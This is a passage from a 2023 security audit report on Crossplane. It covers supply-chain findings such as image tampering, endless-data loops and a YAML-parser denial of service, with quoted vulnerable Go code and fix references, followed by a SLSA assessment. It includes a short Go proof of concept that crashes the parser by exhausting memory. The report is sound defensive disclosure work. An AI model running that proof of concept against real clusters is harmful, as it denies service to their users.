ory\npanic.A D A - X P - 2 3 - 1 1 :\nP o s s i b l e\ni m a g e\nt a m p e r i n g\nf r o m\nm i s s i n g\ni m a g e\nv a l i d a t i o n\nID\nADA-XP-23-11\nComponent\nRevision\nimage\nbackend\nSeverity\nHigh\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4370\nCrossplaneʼs\nimage\nbackend\nis\nsusceptible\nto\nan\nimage\ntampering\nattack\ndue\nto\ninsufficient\nvalidation\nof\nCrossplane\npackages.\nAn\nattacker\ncan\nlaunch\nan\nattack\nagainst\nCrossplane\nby\ncompromising\nthe\nregistry\nfrom\nwhich\nCrossplane\nfetches\nthe\nimage.\nThe\nattacker\ncould\nthen\nreplace\nthe\nimage\nthat\nthe\nuser\nis\nreferencing\nand\ntrick\nCrossplane\nusers\ninto\nfetching\na\ntampered\nimage.\nCrossplane\nusers\ncan\nreference\nimages\nby\ntags\nor\ndigests.\nDigests\nare\nthe\nmore\nsecure\nway\nto\nreference,\nhowever,\nin\nthis\ncase,\neven\nif\nthe\nuser\nreferenced\nan\nimage\nby\ndigest,\nthe\nuser\nhad\ninsufficient\nguarantee\nthat\nthe\nimage\nthey\nfetched\nwas\nthe\ncorrect\none.\nCrossplane\nfixed\nthe\nissue\nby\nvalidating\nboth\nthe\nimage\nitself\nas\nwell\nas\neach\nlayer\nin\nthe\nfetched\nimage\nmanifest.\nCVE-2023-38495\nhas\nbeen\nassigned\nthis\nfinding.A D A - X P - 2 3 - 1 2 :\nP o s s i b l e\ne n d l e s s\nd a t a\na t t a c k\ni n\nP r o v i d e r R e v i s i o n\nc o n t r o l l e r\nID\nADA-XP-23-12\nComponent\nProviderRevision \ncontroller\nSeverity\nModerate\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4347\nA\nCrossplane\nuser\nthat\ncan\nsend\na\nrequest\nto\nthe\nProviderRevision\ncontroller\ncan\nlaunch\nan\nendless\ndata\nattack\nagainst\nthe\ncontroller\nif\nthe\nrequest\nhas\na\nhigh\nnumber\nof\npolicy\nrules.\nThe\nreconciler\nvalidates\nincoming\nrequests\nby\nway\nofValidatePermissionRequests()\n,\nhttps://github.com/crossplane/crossplane/blob/5abc44508f88d892535fc8608d5e35ad5df\nb5a0a/internal/controller/rbac/provider/roles/reconciler.go#L303\n,\nwhich\nloops\nthrough\nthe\nrequests\npolicy\nrules:\nhttps://github.com/crossplane/crossplane/blob/f32e27f375b0218ccaf49e072c5661d71f368131/int\nernal/controller/rbac/provider/roles/requests.go#L174-L193\n174\n175176\n177178179180181182183184185186187188189190191192193func(v*ClusterRoleBackedValidator)ValidatePermissionRequests(ctxcontext.Context,requests...rbacv1.PolicyRule)([]Rule,error){cr:=&rbacv1.ClusterRole{}iferr:=v.client.Get(ctx,types.NamespacedName{Name:v.name},cr);err!=nil{returnnil,errors.Wrap(err,errGetClusterRole)}\nt:=newNode()for_,rule:=rangeExpand(cr.Rules...){t.Allow(rule.path())}\nrejected:=make([]Rule,0)for_,rule:=rangeExpand(requests...){if!t.Allowed(rule.path()){rejected=append(rejected,rule)}}\nreturnrejected,nil}If\nthe\nlength\nof\nrequests\nis\nsufficiently\nlarge,\na\nthreat\nactor\ncan\ncause\nCrossplane\ninto\nspending\nexcessive\ntime\non\nthis\nloop\nand\ncan\nuse\nthat\nto\nprevent\nthe\ncontroller\nfrom\nperforming\nother\ntasks,\nsuch\nas\nupgrading\nProviders.\nAn\nattacker\ncould\nleverage\nthat\nto\nprevent\nCrossplane\nfrom\nupgrading\nto\na\nsecure\nProvider\npackage\nwhile\nexploiting\na\nknown\nvulnerability\nin\nthe\ncurrent\nversion\nof\nthe\npackage.A D A - X P - 2 3 - 1 3 :\nP o s s i b l e\ne n d l e s s\nd a t a\na t t a c k\ni n\nC r o s s p l a n e ’ s\nO C I\ns t o r e\nI\nID\nADA-XP-23-13\nComponent\nCrossplaneʼs\nOCI\nstore\nSeverity\nModerate\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4203\nThis\nissue\naffects\nan\nalpha\nfeature\nin\nCrossplane.\nCrossplaneʼs\nOCI\nstore\nis\nsusceptible\nto\nan\nendless\ndata\nattack\nif\nthe\nimage\nthat\nCrossplane\nfetches\nhas\na\nhigh\nnumber\nof\nlayers.\nAn\nattacker\ncan\nlaunch\nthe\nattack\nagainst\nCrossplane\nby\ncompromising\nthe\nregistry\nand\nreplacing\nthe\noriginal\nimage\nwith\na\ntampered\nimage\ncontaining\na\nhigh\nnumber\nof\nlayers\nor\nby\ntricking\na\nCrossplane\nuser\ninto\nfetching\nthe\nimage\nby\nway\nof\ndependency\nconfusion\nor\ntyposquatting\nattack\nvectors.\nThe\nroot\ncause\nof\nthe\nissue\nis\nthat\nthe\nCrossplane\nloops\nthrough\nthe\nlayers\nof\nthe\nfetched\nimage\nwithout\nan\nupper\nlimit.\nAn\nattacker\ncan\nadd\na\nhigh\nnumber\nof\nlayers\nto\nthe\nmanifest\nwhich\ncan\ncause\nCrossplane\nto\ngo\ninto\nan\ninfinite\nloop.\nhttps://github.com/crossplane/crossplane/blob/b01a0f8c0830f038514714baf24deb7ef21bbad4/in\nternal/oci/store/overlay/store_overlay.go#L166\n166\n167168169170171172173174175176177178179180181182183184func(c*CachingBundler)Bundle(ctxcontext.Context,iociv1.Image,idstring,o...spec.Option)(store.Bundle,error){cfg,err:=i.ConfigFile()iferr!=nil{returnnil,errors.Wrap(err,errReadConfigFile)}\nlayers,err:=i.Layers()iferr!=nil{returnnil,errors.Wrap(err,errGetLayers)}\nlowerPaths:=make([]string,len(layers))fori:=rangelayers{p,err:=c.layer.Resolve(ctx,layers[i],layers[:i]...)iferr!=nil{returnnil,errors.Wrap(err,errResolveLayer)}lowerPaths[i]=p}A D A - X P - 2 3 - 1 4 :\nP o s s i b l e\ne n d l e s s\nd a t a\na t t a c k\ni n\nC r o s s p l a n e ’ s\nO C I\ns t o r e\nI I\nID\nADA-XP-23-14\nComponent\nCrossplaneʼs\nOCI\nstore\nSeverity\nModerate\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4203\nThis\nissue\naffects\nan\nalpha\nfeature\nin\nCrossplane.\nThis\nissue\nis\nsimilar\nto\nADA-XP-23-13\nin\nattack\nvector,\nimpact\nand\nroot\ncause\nbut\naffects\nthe\nhandling\nof\nuncompressed\nlayers.\nhttps://github.com/crossplane/crossplane/blob/d0d7527f92869a780a49d25d15fea0ed54f3bf0b/in\nternal/oci/store/uncompressed/store_uncompressed.go#L89\n89\n90919293949596979899100101102103104105106107108109110111112113114115116117func(c*Bundler)Bundle(ctxcontext.Context,iociv1.Image,idstring,o...spec.Option)(store.Bundle,error){cfg,err:=i.ConfigFile()iferr!=nil{returnnil,errors.Wrap(err,errReadConfigFile)}\nlayers,err:=i.Layers()iferr!=nil{returnnil,errors.Wrap(err,errGetLayers)}\npath:=filepath.Join(c.root,id)rootfs:=filepath.Join(path,store.DirRootFS)iferr:=os.MkdirAll(rootfs,0700);err!=nil{returnnil,errors.Wrap(err,errMkRootFS)}b:=Bundle{path:path}\nfor_,l:=rangelayers{tb,err:=l.Uncompressed()iferr!=nil{_=b.Cleanup()returnnil,errors.Wrap(err,errOpenLayer)}iferr:=c.tarball.Apply(ctx,tb,rootfs);err!=nil{_=tb.Close()_=b.Cleanup()returnnil,errors.Wrap(err,errApplyLayer)}118119120121122iferr:=tb.Close();err!=nil{_=b.Cleanup()returnnil,errors.Wrap(err,errCloseLayer)}}\nAn\nattacker\ncan\nadd\na\nhigh\nnumber\nof\nlayers\nto\nthe\nmanifest\nwhich\ncan\ncause\nCrossplane\nto\ngo\ninto\nan\ninfinite\nloop\nwhen\nCrossplane\nreads\nthe\nlayers\nof\nthe\nimage.A D A - X P - 2 3 - 1 5 :\nP o s s i b l e\ne n d l e s s\nd a t a\na t t a c k\ni n\nC r o s s p l a n e ’ s\nO C I\ns t o r e\nI I I\nID\nADA-XP-23-15\nComponent\nCrossplaneʼs\nOCI\nstore\nSeverity\nModerate\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4203\nThis\nissue\naffects\nan\nalpha\nfeature\nin\nCrossplane.\nThis\nissue\nis\nsimilar\nto\nADA-XP-23-13\nin\nattack\nvector,\nimpact\nand\nroot\ncause\nbut\naffects\nthe\nroutine\nthat\nwrites\nthe\nfetched\nimage\nto\nthe\nOCI\nstore.\nhttps://github.com/crossplane/crossplane/blob/498b2fcbcc5323676d48048944e8a2a6d67cd87a/i\nnternal/oci/store/store.go#L162\n162...201202203204205206207208209210211212213214215216func(i*Image)WriteImage(imgociv1.Image)error{...\nlayers,err:=img.Layers()iferr!=nil{returnerrors.Wrap(err,errGetLayers)}\ng:=&errgroup.Group{}for_,l:=rangelayers{l:=l//Pinloopvar.g.Go(func()error{returni.WriteLayer(l)})}\nreturnerrors.Wrap(g.Wait(),errWriteLayers)}A D A - X P - 2 3 - 1 6 :\nD e n i a l\no f\ns e r v i c e\nf r o m\nl a r g e\ni m a g e\nID\nADA-XP-23-16\nComponent\nCrossplane-runtime \nparser\nSeverity\nLow\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4358\nCrossplane-runtimes\nparser\nis\nvulnerable\nto\na\nDoS\nattack.\nThe\nroot\ncause\nof\nthe\nissue\nis\nthatk8s.io/apimachinery/pkg/util/yaml.(*YAMLReader).Read()\nwill\nexhaust\nmemory\nif\nreading\nfrom\na\nlarge\nreader.\nThe\nCrossplane-runtime\nparser\nparses\nan\nimage\nfrom\na\nremote\nregistry\nusing\nKubernetesʼ\nyaml\nparser:\nhttps://github.com/crossplane/crossplane-runtime/blob/511b39fa560d40daecec2f9288850f92cc6\n2e14b/pkg/parser/parser.go#L94\n94\n9596979899100101\n102\n103104105func(p*PackageParser)Parse(_context.Context,readerio.ReadCloser)(*Package,error){//nolint:gocyclo//Onlyat11.pkg:=NewPackage()ifreader==nil{returnpkg,nil}deferfunc(){_=reader.Close()}()yr:=yaml.NewYAMLReader(bufio.NewReader(reader))dm:=json.NewSerializerWithOptions(json.DefaultMetaFactory,p.metaScheme,p.metaScheme,json.SerializerOptions{Yaml:true})do:=json.NewSerializerWithOptions(json.DefaultMetaFactory,p.objScheme,p.objScheme,json.SerializerOptions{Yaml:true})for{bytes,err:=yr.Read()iferr!=nil&&!errors.Is(err,io.EOF){\nWhen\nparsing\na\nlarge\nreader,\nGo\nwill\nreact\nby\nperforming\na\nsigkill\nand\nas\na\nresult\nwill\nalso\ncrash\nany\napplication\nusing\nthe\nparser.\nThe\nmachine\nwill\nexperience\na\ntemporary\nDoS\nbefore\nGo\nperforms\nthe\nsigkill.\nThis\nis\nan\nissue\nfor\nCrossplaneʼs\nRevision\ncontroller\nwhich\nparses\nimages\nfetched\nfrom\nremote\nregistries:\nhttps://github.com/crossplane/crossplane/blob/90b27fed1c877f4e4d2e62dbba6e26505b3\n8271b/internal/controller/pkg/revision/reconciler.go#L478\n.\nAn\nuntrusted\nimage\ncould\ncrash\nthe\nRevision\ncontroller\nand\ncause\na\ndenial\nof\nservice\nfor\nother\nusers\nof\nthe\ncluster.The\nfollowing\nminimized\nPoC\nillustrates\nthe\nissue:\n123456789101112131415161718192021222324packagemain\nimport(\"bufio\"\"fmt\"\"io\"\"bytes\"\"k8s.io/apimachinery/pkg/util/yaml\")\nfuncmain(){b:=bytes.Repeat([]byte(\"a\"),9000000000)r1:=bytes.NewReader(b)r2:=bytes.NewReader(b)r3:=bytes.NewReader(b)r4:=bytes.NewReader(b)r:=io.MultiReader(r1,r2,r3,r4)\nbRead:=bufio.NewReader(r)yr:=yaml.NewYAMLReader(bRead)fmt.Println(\"Reading...\")_,_=yr.Read()fmt.Println(\"Theend\")}\nThis\nprogram\nwill\nnot\nprint\n“The\nend”.\nThe\nconsole\nwill\nprint:\nReading...signal:killed\nCVE-2023-37900\nhas\nbeen\nassigned\nthis\nissue.\nGHSA:\nhttps://github.com/crossplane/crossplane/security/advisories/GHSA-68p4-95xf-7gx8S L S A\nSLSA\nis\na\nframework\nfor\nassessing\nthe\nsupply\nchain\nsecurity\nposture\nof\nprojects.\nThe\ncurrent\nversion\nof\nSLSA\nis\nv1.0\nwhich\nspecifies\na\nseries\nof\nrequirements\nrelated\nto\nthe\nbuild\nplatform\nfor\nso\u0000ware\nreleases\nas\nwell\nas\nthe\nprovenance\nattestation.\nSLSA\nevaluates\na\nproject\nbased\non\nfour\nsecurity\nlevels.\nLevel\n0\nhas\nno\nrequirements\nas\nwe\ndo\nnot\ninclude\nthat\nin\nthe\ntable\nbelow.\nThe\nSLSA\nframework\nis\nuseful\nto\nprotect\nagainst\na\nseries\nof\nreal-world\nsupply\nchain\nattack\nvectors,\nfor\nexample,\nduring\nthe\nSolarWinds\nattack,\nattackers\ncompromised\nthe\nbuild\nplatform\nof\na\nso\u0000ware\nvendor\n-\nSolarWinds\n-\nand\ninjected\nmalicious\ncode\nthat\nthe\nvendor\nthen\ndistributed\nto\nits\ncustomers.\nThe\nprovenance\nstatement\nhelps\nusers\ndefend\nagainst\ntyposquatting\nattacks\nor\nattacks\nas\nwell\nas\nconsuming\npackages\nfrom\nmirrors\ninstead\nof\nthe\nmain\nand\nintended\npackages.\nThese\nare\nknown\nattack\nvectors;\nrecently\nresearchers\nfound\n1,652\nmalicious\npackages\ndisguised\nas\nlegitimate\npackages\n8\n.\nSLSA\ncompliance\nis\ntherefore\nan\nimportant\nfactor\nof\nCrossplaneʼs\noverall\nsecurity\nposture\nand\nshould\nbe\nseen\nas\nan\nongoing\neffort\nto\nachieve\nand\nmaintain\na\nsolid\nintegration\nwith\nSLSAs\nspecification.\nThis\nwill\nhelp\nCrossplane\ndefend\nagainst\na\nseries\nof\nwell-known\n-\nby\nusers\nand\nmalicious\nactors\n-\nsupply\nchain\nattack\nvectors.\nOur\noverall\nassessment\nis\nthat\nCrossplane\nperforms\nwell\nagainst\nrequirements\nfor\nthe\nbuild\nplatform\nbut\nis\nlacking\nthe\nprovenance\nstatement.\nThe\nprovenance\nis\na\nlarge\nand\nimportant\npart\nof\nthe\nSLSA\nframework.\nCrossplane\nis\ncurrently\nlacking\na\ncompliant\nprovenance\nstatement\nwhich\nbrings\ncompliance\nto\na\nlow\nlevel.\nCrossplane\nis\nperforming\nwell\nin\nother\nareas\nsuch\nas\nthe\nbuild\nplatform\nfor\nrelease\nartifacts.\nWe\nrecommend\nadding\nthe\nprovenance\ngeneration\nvia\nSLSAʼs\nofficial\nGithub\nActions\nworkflows:\nhttps://github.com/slsa-framework/slsa-github-generator\n.\nThe\nSLSA\ncommunity\nis\ncurrently\nworking\non\na\nframework,\nBring\nYour\nOwn\nBuilder\n(BYOB),\nwhich\nincludes\nlevel\n3\ncompliance\nout\nof\nthe\nbox.\nOur\nassessment\nfor\neach\ncriteria:\nRequirement\nL1\nL2\nL3\nProvenance\ngeneration\nProvenance\nExists\n⛔\n⛔\n⛔\nProvenance\nis\nAuthentic\n⛔\n⛔\n8\nhttps://sysdig.com/blog/analysis-of-supply-chain-attacks-through-public-docker-images/Provenance\nis\nUnforgeable\n⛔\nIsolation\nHosted\n✓\n✓\nIsolated\n✓"}],"string":"[\n {\n \"data\": \"PRESENTS \\nC r o s s p l a n e\\ns e c u r i t y\\na u d i t\\nIn\\ncollaboration\\nwith\\nthe\\nCrossplane\\nmaintainers,\\nOpen\\nSource\\nTechnology\\nImprovement\\nFund\\nand\\nThe\\nLinux\\nFoundation\\nAuthors\\nAdam\\nKorczynski\\n<\\nadam@adalogics.com\\n>\\nDavid\\nKorczynski\\n<\\ndavid@adalogics.com\\n>\\nDate:\\n27th\\nJuly\\n2023\\nThis\\nreport\\nis\\nlicensed\\nunder\\nCreative\\nCommons\\n4.0\\n(CC\\nBY\\n4.0)\\nT able\\nof\\ncontents\\nTable\\nof\\ncontents\\n2\\nExecutive\\nsummary\\n3\\nAudit\\nScope\\n5\\nThreat\\nmodel\\nformalisation\\n6\\nThreat\\nactors\\n12\\nAttacker\\nobjectives\\n13\\nCluster\\nhardening\\n15\\nFuzzing\\n17\\nIssues\\nfound\\n19\\nSLSA\\n45Ex ecutive\\nsummary\\nThis\\nreport\\ncontains\\nthe\\nresults\\nfrom\\nCrossplaneʼs\\n2023\\nsecurity\\naudit\\ncarried\\nout\\nby\\nAda\\nLogics.\\nThe\\naudit\\nwas\\nfunded\\nby\\nthe\\nCloud\\nNative\\nComputing\\nFoundation\\nand\\nwas\\nfacilitated\\nby\\nthe\\nOpen\\nSource\\nTechnology\\nImprovement\\nFund.\\nThe\\nengagement\\nwas\\na\\ntime-based,\\nholistic\\nsecurity\\naudit\\nthat\\nhad\\nthe\\nfollowing\\nhigh-level\\ngoals:\\n1.\\nFormalise\\na\\nthreat\\nmodel\\nof\\nCrossplane\\n2.\\nCarry\\nout\\na\\nmanual\\ncode\\naudit\\nof\\nCrossplane\\n3.\\nReview\\nCrossplaneʼs\\nfuzzing\\nsuite\\nagainst\\nthe\\nthreat\\nmodel\\nfrom\\ngoal\\n#1\\n4.\\nReview\\nCrossplaneʼs\\nSLSA\\ncompliance\\nDuring\\nthe\\nthreat\\nmodelling\\ngoal,\\nwe\\nfound\\nthat\\nthe\\ncontainer\\nimage\\nregistry\\nrepresented\\na\\nsignificant\\nattack\\nsurface\\nfor\\nCrossplane.\\nThis\\nguided\\nthe\\nwork\\nin\\ngoals\\n#2\\nand\\n#3\\nto\\nconsider\\na\\nspecific\\nset\\nof\\nattacks\\nthat\\nhave\\nreceived\\nincreased\\nattention\\nin\\nrecent\\nyears:\\nSupply\\nchain\\nattacks.\\nThe\\nfindings\\nfrom\\nthe\\nthreat\\nmodelling\\ncombined\\nwith\\nthe\\nmanual\\ncode\\nauditing\\ngoal\\nresulted\\nin\\nseveral\\nfindings\\nfrom\\nthe\\nsupply\\nchain\\nclass\\nof\\nvulnerabilities\\nthat\\nwere\\nreachable\\nfrom\\nthe\\ncontainer\\nimage\\nregistry.\\nTwo\\nof\\nthe\\nissues\\nwere\\nassigned\\nCVEs\\nwith\\nLow\\nand\\nHigh\\nseverity.\\nAt\\nthe\\ncompletion\\nof\\nthe\\naudit,\\nCrossplane\\nhas\\nfixed\\nall\\nissues\\nexcept\\nfor\\na\\nsingle\\none\\nwhich\\nimpacts\\nan\\nalpha\\nfeature.\\nAda\\nLogics\\nadded\\n4\\nfuzzers\\nto\\nCrossplaneʼs\\nfuzzing\\nsuite.\\nThese\\nfuzzers\\ntarget\\nparts\\nof\\nCrossplane\\nthat\\nwe\\nfound\\nto\\nbe\\nexposed\\nfrom\\nattacks\\nto\\nthe\\nregistry\\nduring\\nthe\\nthreat\\nmodelling\\ngoal\\nof\\nthe\\naudit.\\nWe\\nadded\\nthe\\nfuzzers\\nto\\nthe\\npackages\\nthat\\nthey\\ntarget\\nin\\nthe\\nCrossplane\\nrepository.\\nCrossplane\\nis\\nintegrated\\ninto\\nOSS-Fuzz\\nin\\nsuch\\na\\nway\\nthat\\nall\\nfuzzers\\nfrom\\nthe\\nCrossplane\\nand\\nCrossplane-runtime\\nrepositories\\nare\\nincluded\\nduring\\nOSS-Fuzz\\nbuild\\ncycles.\\nAs\\nsuch,\\nthe\\nfuzzers\\nwe\\nadded\\nin\\nthis\\naudit\\nrun\\ncontinuously\\nas\\nwell\\nas\\nin\\nCrossplaneʼs\\nCI.\\nThe\\nSLSA\\ngoal\\nof\\nthe\\naudit\\nfound\\nthat\\nCrossplane\\nperforms\\nwell\\non\\nall\\naccounts\\nexcept\\nfor\\nprovenance\\ndistribution\\nalong\\nwith\\nreleases.\\nAdding\\nprovenance\\nwill\\nallow\\nadopters\\nto\\navoid\\nissues\\nin\\ntheir\\nsupply\\nchain\\nby\\nverifying\\nthe\\nCrossplane\\nartefacts\\nagainst\\nprovenance\\nattestations.Results\\nsummarised\\n5\\nnew\\nfuzzers\\nadded\\nto\\nCrossplaneʼs\\nfuzzing\\nsuite\\n16\\nissues\\nsecurity\\nfound\\n2\\nCVEʼs\\nassigned\\nAll\\nissues\\nminus\\n1\\n(in\\nan\\nalpha\\nfeature)\\nare\\nfixed\\nat\\nthe\\nend\\nof\\nthe\\naudit\\nby\\nthe\\nCrossplane \\nteamProject\\nSummary\\nThe\\nauditors\\nof\\nAda\\nLogics\\nwere:\\nName\\nTitle\\nEmail\\nAdam\\nKorczynski\\nSecurity\\nEngineer,\\nAda\\nLogics\\nAdam@adalogics.com\\nDavid\\nKorczynski\\nSecurity\\nResearcher,\\nAda\\nLogics\\nDavid@adalogics.com\\nThe\\nCrossplane\\ncommunity\\nmembers\\ninvolved\\nin\\naudit\\nwere:\\nName\\nTitle\\nEmail\\nPhilippe\\nScorsolini\\nSenior\\nSo\\u0000ware\\nEngineer, \\nUpbound\\nphilippe.scorsolini@upbound.io\\nJared\\nWatts\\nCommunity\\nManager,\\nUpbound\\njared@upbound.io\\nJean\\ndu\\nPlessis\\nSenior\\nEngineering\\nManager, \\nUpbound\\njean@upbound.io\\nNic\\nCope\\nSenior\\nPrincipal\\nEngineer, \\nUpbound\\nnegz@upbound.io\\nThe\\nfollowing\\nfacilitators\\nof\\nOSTIF\\nwere\\nengaged\\nin\\nthe\\naudit:\\nName\\nTitle\\nEmail\\nDerek\\nZimmer\\nExecutive\\nDirector,\\nOSTIF\\nDerek@ostif.org\\nAmir\\nMontazery\\nManaging\\nDirector,\\nOSTIF\\nAmir@ostif.org\\nAudit\\nScope\\nThe\\nfollowing\\nassets\\nwere\\nin\\nscope\\nof\\nthe\\naudit.\\nRepository\\nhttps://github.com/crossplane/crossplane\\nLanguage\\nGo\\nRepository\\nhttps://github.com/crossplane/crossplane-runtime\\nLanguage\\nGoThreat\\nmodel\\nformalisation\\nIn\\nthis\\nsection,\\nwe\\npresent\\nthe\\nthreat\\nmodelling\\nwe\\ndid\\nas\\npart\\nof\\nthe\\naudit.\\nThreat\\nmodelling\\nis\\na\\nprocess\\nto\\nidentify\\npotential\\nsecurity\\nrisks\\nor\\nthreats\\nto\\na\\nsystem.\\nWe\\nanalysed\\nCrossplaneʼs\\ncomponents,\\ndata\\nflows\\nand\\nattack\\nvectors\\nto\\nidentify\\nhow\\nthreat\\nactors\\ncould\\nseek\\nto\\ncompromise\\nCrossplane\\nand\\nwhich\\ngoals\\nthey\\nwould\\nattempt\\nto\\nachieve.\\nDuring\\nthe\\naudit,\\nthreat\\nmodelling\\nprogressed\\nalongside\\nother\\nefforts;\\nWe\\nstarted\\nwith\\nan\\ninitial\\nthreat\\nmodel\\nof\\nthe\\nassets\\nin\\nscope,\\nand\\nas\\nthe\\naudit\\nprogressed,\\nthe\\nmanual\\nauditing\\ncontributed\\nto\\na\\nclearer\\nunderstanding\\nof\\nthe\\nthreat\\nmodel.\\nVice\\nversa,\\nthe\\nthreat\\nmodelling\\ncontributed\\nto\\nidentifying\\nmore\\nsecurity\\nissues\\nin\\nCrossplaneʼs\\ncode\\nbase.\\nThe\\naudit\\ndrew\\norganically\\ntowards\\nthe\\nthreats\\nfrom\\nCrossplaneʼs\\nsupply\\nchain\\nattack\\nvectors.\\nThe\\naudit\\nwas\\nnot\\na\\ndedicated\\nsupply\\nchain\\naudit,\\nhowever,\\nwe\\nfound\\nthis\\nvector\\nto\\nbe\\nimportant\\nand\\nexposed\\nto\\nCrossplane.\\nCrossplane\\nhas\\nmany\\ncharacteristics\\nof\\na\\npackage\\nmanager\\nconsidering\\nDebians\\ndefinition:\\n“\\nA\\npackage\\nmanager\\nkeeps\\ntrack\\nof\\nwhat\\nso\\u0000ware\\nis\\ninstalled\\non\\nyour\\ncomputer,\\nand\\nallows\\nyou\\nto\\neasily\\ninstall\\nnew\\nso\\u0000ware,\\nupgrade\\nso\\u0000ware\\nto\\nnewer\\nversions,\\nor\\nremove\\nso\\u0000ware\\nthat\\nyou\\npreviously\\ninstalled.\\nAs\\nthe\\nname\\nsuggests,\\npackage\\nmanagers\\ndeal\\nwith\\npackages:\\ncollections\\nof\\nfiles\\nthat\\nare\\nbundled\\ntogether\\nand\\ncan\\nbe\\ninstalled\\nand\\nremoved\\nas\\na\\ngroup.\\n”\\nhttps://www.debian.org/doc/manuals/aptitude/pr01s02.en.html\\nCrossplane\\nhas\\nall\\nof\\nthese\\nqualities\\nwhich\\nmakes\\nit\\nan\\nideal\\ntarget\\nfor\\nsupply\\nchain\\nattacks.\\nPackage\\nmanagers\\nare\\nresponsible\\nfor\\nfetching\\nso\\u0000ware\\npackages\\nfrom\\ninternal\\nor\\nremote\\nsources\\nand\\ninstalling\\nthem\\nin\\nan\\nenvironment\\nso\\nthat\\nthey\\ncan\\nbe\\nexecuted\\nlater.\\nThis\\nis\\nby\\ndefault\\nan\\nexposed\\nattack\\nsurface\\nsince\\nattackers\\nhave\\na\\nwide\\nrange\\nof\\ntechniques\\nand\\ntactics\\nat\\ntheir\\ndisposal\\nto\\ncomprise\\nthe\\npackage\\nmanager\\nitself\\nor\\nits\\nusers.\\nWe\\nsee\\nCrossplane\\nas\\na\\npackage\\nmanager\\nfor\\ncontainer\\nimages.\\nCrossplane\\nfetches\\nthe\\nimages\\nfrom\\nremote\\nsources.\\nOver\\nthe\\nlast\\nfew\\nyears\\nthe\\nsecurity\\ncommunity\\nhas\\nformalised\\na\\nseries\\nof\\nattack\\nvectors\\nfor\\nso\\u0000ware\\nsystems\\nthat\\nhandle\\ncontainer\\nimages\\nfrom\\nremote\\nsources\\nwhich\\nwe\\nhave\\nincluded\\nin\\nthe\\nthreat\\nmodel\\nbelow.\\nA\\u0000er\\nwe\\nenumerate\\nthe\\nattack\\nvectors,\\nwe\\ndetail\\nhow\\nattackers\\ncan\\nput\\nthemselves\\nin\\na\\nposition\\nto\\nlaunch\\nan\\nattack\\nthrough\\nthis\\nattack\\nvector.\\nWe\\nfinally\\npresent\\nthe\\nthreat\\nactors\\nand\\ntheir\\nobjectives\\nthat\\ncould\\nseek\\nto\\nexploit\\nsecurity\\nholes\\nin\\nCrossplane.Supply\\nchain\\nattacks\\nIn\\nrecent\\nyears,\\nmuch\\nwork\\nhas\\nbeen\\nput\\ninto\\nidentifying\\nhow\\nattackers\\ncan\\nseek\\nto\\ncompromise\\nthe\\nso\\u0000ware\\nsupply\\nchain.\\nKnown,\\nhigh-impact\\nattacks\\nfrom\\nsuccessful\\ncompromises\\nof\\nusersʼ\\nso\\u0000ware\\nsupply\\nchain\\nhave\\nsparked\\nan\\ninterest\\nin\\nunderstanding\\nthis\\nattack\\nvector\\nwhich\\nhas\\nled\\nthe\\ncommunity\\nto\\nformalising\\na\\nseries\\nof\\nsupply\\nchain\\nspecific\\nthreats\\nagainst\\nso\\u0000ware\\nsystems\\nthat\\nconsume\\n3rd-party\\nso\\u0000ware\\npackages.\\nCrossplane\\nboth\\nconsumes\\n3rd-party\\npackages\\nbut\\nalso\\nimplements\\ninfrastructure\\nthat\\nfacilitates\\nthe\\nlifecycle\\nof\\nconsuming\\n3rd-party\\nso\\u0000ware\\npackages\\nfor\\nthe\\nuser.\\nBoth\\nsides\\nare\\ncritical\\nto\\nharden\\nagainst.\\nEndless\\ndata\\nattack\\nAn\\nattack\\nwhere\\nan\\nattacker\\ntricks\\na\\nclient\\ninto\\ndownloading\\nan\\nendless\\nstream\\nof\\ndata\\nwhen\\nthe\\nclient\\nrequests\\nit.\\nThe\\nresulting\\nimpact\\nis\\nthat\\nthe\\nmachine\\non\\nwhich\\nthe\\nclient\\nis\\nrunning\\nwill\\nrun\\nindefinitely\\nwithout\\ncompleting\\nthe\\ntask\\nthus\\npreventing\\nthe\\nservice\\nfrom\\ncarrying\\nout\\nother\\ntasks.\\nCrossplane\\nis\\nexposed\\nto\\nthis\\nattack\\nvector\\nin\\ncase\\nan\\nattacker\\ncan\\ncompromise\\nthe\\nregistry\\nfrom\\nwhich\\nCrossplane\\nfetches\\nimages.\\nRollback\\nattacks\\nA\\nrollback\\nattack\\nis\\nwhere\\na\\nthreat\\nactor\\ncan\\ntrick\\na\\nclient\\ninto\\ninstalling\\nolder\\nversions\\nof\\na\\ngiven\\nso\\u0000ware\\nartefact.\\nThe\\nactor\\nwould\\nbe\\ninterested\\nin\\ndoing\\nthis\\nin\\ncase\\nthey\\nknew\\nabout\\nvulnerabilities\\nin\\nolder\\nversions\\nof\\na\\nso\\u0000ware\\nartefact.\\nThey\\nwould\\nthen\\nprevent\\nupdates\\nof\\nthe\\nartefact\\nand\\nexploit\\nthe\\nvulnerabilities\\nof\\nthe\\nold\\nversion.\\nCrossplane\\nusers\\nspecify\\nimages\\nby\\neither\\ntags\\nor\\ndigests.\\nSpecifying\\nan\\nimage\\nwith\\na\\ndigest\\nis\\nthe\\nbest\\nsecurity\\npractice,\\nhowever,\\nif\\nan\\nattacker\\ncompromises\\nthe\\nregistry,\\nthey\\nmay\\nbe\\nable\\nto\\ntamper\\nwith\\nthe\\nimage\\nif\\nCrossplane\\nlacks\\nvalidation\\nagainst\\nthe\\nrequested\\ndigest.\\nFreeze\\nattacks\\nThis\\nis\\nan\\nattack\\nwhere\\nan\\nactor\\nprevents\\na\\nclient\\nfrom\\nupdating\\nso\\u0000ware\\nartefacts.\\nThe\\nthreat\\nactor\\ndoes\\nthis\\nby\\npresenting\\nfiles\\nto\\nthe\\nclient\\nthat\\nthe\\nclient\\nis\\nalready\\naware\\nof\\nand\\nis\\ntricked\\ninto\\nconcluding\\nthat\\nthere\\nis\\nno\\nupdate\\nto\\nthe\\nartefact.\\nA\\nfreeze\\nattack\\ncan\\nbe\\nenabled\\nby\\na\\nvulnerability\\nthat\\nallows\\nthe\\nactor\\nto\\ncarry\\nout\\na\\nMan-in-the-Middle\\nattack,\\nwhere\\nthe\\nactor\\nintercepts\\nrequests\\nbetween\\nthe\\nclient\\nand\\nthe\\ncentral\\nrepository\\nwhen\\nthe\\n